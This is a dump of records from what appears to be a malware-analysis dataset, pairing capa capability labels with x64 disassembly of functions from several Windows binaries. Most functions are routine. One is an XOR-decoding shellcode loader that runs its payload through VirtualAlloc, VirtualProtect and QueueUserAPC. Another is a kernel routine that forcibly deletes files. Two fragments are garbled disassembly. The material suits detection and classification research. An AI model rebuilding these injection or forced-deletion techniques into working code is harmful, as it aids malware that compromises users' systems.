joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400052a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140005373
cmp byte [rcx + 0x71], 0
je 0x140005373
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000536f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005334
sub eax, 1
je 0x140005338
cmp eax, 2
jne 0x14000536f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140005e50
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005366
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000536f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000531c
xor al, al
jmp 0x14000531c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140005e50
add rsp, 0x60
pop rbx
ret

Function at 0x140006870
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400068ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400068ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400068ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400068ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400068ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400068bc
xor al, al
add rsp, 0x28
ret
Function at 0x140002aa0
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x18
mov rax, qword [0x140052080]
xor rax, rsp
mov qword [rsp + 8], rax
mov r10, r9
mov r9d, edx
mov r11, rcx
test edx, edx
jne 0x140002ad4
xor eax, eax
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.1400162e0
add rsp, 0x18
ret
mov rcx, qword [r8]
mov qword [rsp], rcx
movzx eax, cl
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [rsp + 1]
xor edx, eax
movzx eax, byte [rsp + 2]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 3]
imul edx, r8d, 0x1000193
xor edx, eax
movzx eax, byte [rsp + 4]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 5]
imul edx, r8d, 0x1000193
xor edx, eax
movzx eax, byte [rsp + 6]
imul r8d, edx, 0x1000193
xor r8d, eax
movzx eax, byte [rsp + 7]
imul edx, r8d, 0x1000193
xor edx, eax
imul r8d, edx, 0x1000193
xor edx, edx
mov eax, r8d
div r9d
mov rax, qword [r11 + rdx*8]
lea rdx, [r11 + rdx*8]
test rax, rax
je 0x140002b74
cmp qword [rax + 8], rcx
je 0x140002b74
mov rdx, rax
mov rax, qword [rax]
test rax, rax
jne 0x140002b63
test r10, r10
je 0x140002b7c
mov dword [r10], r8d
mov rax, rdx
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.1400162e0
add rsp, 0x18
ret

Function at 0x1400032e0
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x140003416
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov qword [rsp + 0x10], rbp
mov rdi, r8
lea rbp, str._.C
mov rsi, rdx
mov r11, rcx
xor ebx, ebx
nop dword [rax + rax]
movzx r8d, byte [rbx + rsi]
movzx r10d, byte [r11 + 0x40]
movzx eax, r8b
xor al, byte [r11 + r10]
lea r9, [r11 + r10]
mov byte [r9 + 0x20], al
mov ecx, r8d
mov byte [r9 + 0x10], r8b
movzx eax, byte [r11 + 0x41]
xor rcx, rax
movzx eax, byte [r9 + 0x30]
movzx edx, byte [rcx + rbp]
xor edx, eax
lea eax, [r10 + 1]
and eax, 0xf
mov byte [r9 + 0x30], dl
mov byte [r11 + 0x41], dl
mov byte [r11 + 0x40], al
test al, al
jne 0x1400033fa
xor dl, dl
xor r8b, r8b
nop dword [rax]
nop dword [rax + rax]
lea rax, [r11 + 1]
mov r9d, 8
nop word [rax + rax]
movzx ecx, dl
lea rax, [rax + 6]
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 7]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 7], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 6]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 6], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 5]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 5], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 4]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 4], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 3]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 3], dl
movzx edx, byte [rcx + rbp]
movzx ecx, byte [rax - 2]
xor edx, ecx
mov byte [rax - 2], dl
sub r9, 1
jne 0x140003380
add dl, r8b
inc r8b
cmp r8b, 0x12
jb 0x140003370
inc rbx
cmp rbx, rdi
jb 0x140003310
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop rdi
ret
Function at 0x140003420
Capabilities:
Encode data using xor

Disassembly:
movzx r9d, byte [rcx + 0x40]
lea r11, str._.C
lea r8, [rcx + r9]
movzx eax, dl
mov byte [r8 + 0x10], dl
mov r10, rcx
xor al, byte [r8]
mov byte [r8 + 0x20], al
movzx eax, byte [rcx + 0x41]
movzx edx, dl
xor rdx, rax
movzx eax, byte [r8 + 0x30]
movzx ecx, byte [rdx + r11]
xor ecx, eax
lea eax, [r9 + 1]
and eax, 0xf
mov byte [r8 + 0x30], cl
mov byte [r10 + 0x41], cl
mov byte [r10 + 0x40], al
test al, al
jne 0x140003510
xor dl, dl
xor r8b, r8b
nop word [rax + rax]
lea rax, [r10 + 1]
mov r9d, 8
nop word [rax + rax]
movzx ecx, dl
lea rax, [rax + 6]
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 7]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 7], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 6]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 6], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 5]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 5], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 4]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 4], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 3]
xor edx, ecx
movzx ecx, dl
mov byte [rax - 3], dl
movzx edx, byte [rcx + r11]
movzx ecx, byte [rax - 2]
xor edx, ecx
mov byte [rax - 2], dl
sub r9, 1
jne 0x140003490
add dl, r8b
inc r8b
cmp r8b, 0x12
jb 0x140003480
ret
Function at 0x140013f80
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, eax
test eax, eax
jne 0x140013f9e
or eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
xor edx, edx
cmp rcx, rbx
cmovb ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
Function at 0x140016890
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400168da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400168da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400168da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400168da
cmp dword [rcx + 0x84], 0xe
jbe 0x1400168da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400168dc
xor al, al
add rsp, 0x28
ret

Function at 0x14001a7f4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001a65f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a65f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a65f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a65f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a65f
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a65f
cmp dword [rcx + 0xf8], 0
je 0x14001a65f
mov ecx, ebx
call fcn.14001a710
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001a4ec
nop
cmp dword [rbp + 0x20], 0
je 0x14001a6ad
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001a6b8
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001a5f0
Function at 0x14002bda4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002bdba
mov al, 1
jmp 0x14002be1a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002bdcb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002be18
mov ecx, dword [rcx + 0x18]
nop
call fcn.140023ae0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002be18
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002be18
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002be18
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002be1a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14002d79c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002d7cc
xor eax, eax
jmp 0x14002d88f
mov rbp, rbx
cmp word [rax], si
je 0x14002d7f1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002d7d8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002d7d4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002d6bc
movsxd r14, eax
test eax, eax
jne 0x14002d82f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002d7c5
mov rcx, r14
call fcn.1400257bc
mov rdi, rax
test rax, rax
jne 0x14002d848
xor ecx, ecx
call fcn.140025780
jmp 0x14002d824
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002d6bc
test eax, eax
jne 0x14002d879
mov rcx, rdi
call fcn.140025780
jmp 0x14002d883
xor ecx, ecx
call fcn.140025780
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400317b0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400242d8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14003183a
cmp byte [rbp - 0x21], r15b
je 0x140031835
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140031870
call fcn.140026a70
test eax, eax
jne 0x14003185c
cmp byte [rbp - 0x21], r15b
je 0x140031854
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140031870
cmp byte [rbp - 0x21], r15b
je 0x14003186d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14002c048
test eax, eax
jne 0x140031910
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400242d8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400318af
cmp byte [rbp - 0x21], r15b
je 0x1400318e4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400318e4
call fcn.140026a70
test eax, eax
jne 0x1400318d0
cmp byte [rbp - 0x21], r15b
je 0x1400318c9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400318e4
cmp byte [rbp - 0x21], r15b
je 0x1400318e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14002c048
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140031910
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140031913
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140031921
mov rcx, rdi
call fcn.140025780
cmp byte [rbp + 0x3f], r15b
je 0x140031930
mov rcx, qword [rbp + 0x27]
call fcn.140025780
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140032c30
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032c58
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140032c58
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400010e0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x440
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov edx, 0x539
lea rcx, str.Value:__d_n
call fcn.140001010
xor edx, edx
lea rcx, str.Result:__d_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 6
mov rbx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x30]
xor ebx, ebx
mov qword [rsp + 0x28], rax
lea r8, [0x140001070]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
mov dword [rsp + 0x30], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x1400012fa
mov ecx, ebx
lea rdx, [rsp + 0x40]
lea r8, [0x1400032d0]
movzx eax, byte [r8]
add ecx, 2
mov byte [rdx], al
lea rdx, [rdx + 1]
lea r8, [r8 + 2]
cmp ecx, 0x3fe
jb 0x140001182
mov r8d, ebx
lea r9, [rsp + 0x40]
movabs r10, 0xcccccccccccccccd
lea r11, [0x1400036d0]
nop dword [rax]
nop dword [rax + rax]
movsxd rcx, r8d
lea r9, [r9 + 1]
mov rax, r10
inc r8d
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*4]
sub rcx, rax
movzx eax, byte [rcx + r11]
xor byte [r9 - 1], al
cmp r8d, 0x3e8
jb 0x1400011c0
xor ecx, ecx
mov dword [rsp + 0x34], ebx
mov edx, 0x3e8
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1400012fe
mov r8, rax
mov ecx, 7
lea rax, [rsp + 0x40]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [r8 - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [r8 - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [r8 - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [r8 - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [r8 - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [r8 - 0x20], xmm0
movups xmmword [r8 - 0x10], xmm1
sub rcx, 1
jne 0x140001221
movups xmm0, xmmword [rax]
lea r9, [rsp + 0x34]
mov edx, 0x3e8
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
mov rax, qword [rax + 0x60]
movups xmmword [r8 + 0x40], xmm0
movups xmmword [r8 + 0x50], xmm1
mov qword [r8 + 0x60], rax
lea r8d, [rcx + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400012fe
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x1400012fe
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001303
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.140001340
mov rbx, qword [rsp + 0x450]
add rsp, 0x440
pop rdi
ret
Function at 0x140001c00
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c4a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c4a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c4a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c4a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c4a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c4c
xor al, al
add rsp, 0x28
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140014008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140014008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140014008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140014008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x140004dd4
Capabilities:
Encode data using xor

Disassembly:
movabs byte [0x66fff58366000000], al
mov dword [rsp + 0x17e], ebp
jle 0x140004ddf
add byte [rax], al
cmp rbx, rdi
invalid
invalid
sahf
cld
invalid

Function at 0x1400058d0
Capabilities:
Encode data using xor

Disassembly:
add r10d, r9d
mov r9d, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x3c]
Function at 0x140001500
Capabilities:
Attach user process memory
Delete file

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x120
mov qword [rsp + 0x88], 0
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0xe8]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov dword [rsp + 0xa0], 0x30
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xb8], 0x40
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0x800
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x110]
lea r8, [rsp + 0xa0]
mov edx, 0x100181
lea rcx, [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_IoCreateFileSpecifyDeviceObjectHint]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jne 0x14000170e
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x14000169e
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x14000170e
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x28]
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0x88]
mov byte [rax + 0x4c], 1
lea rcx, [rsp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
mov dword [rsp + 0x80], eax
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [rsp + 0x80], 0
je 0x14000170e
lea rcx, [rsp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
mov dword [rsp + 0x80], eax
lea rcx, [rsp + 0xe0]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov eax, dword [rsp + 0x80]
add rsp, 0x120
pop rdi
ret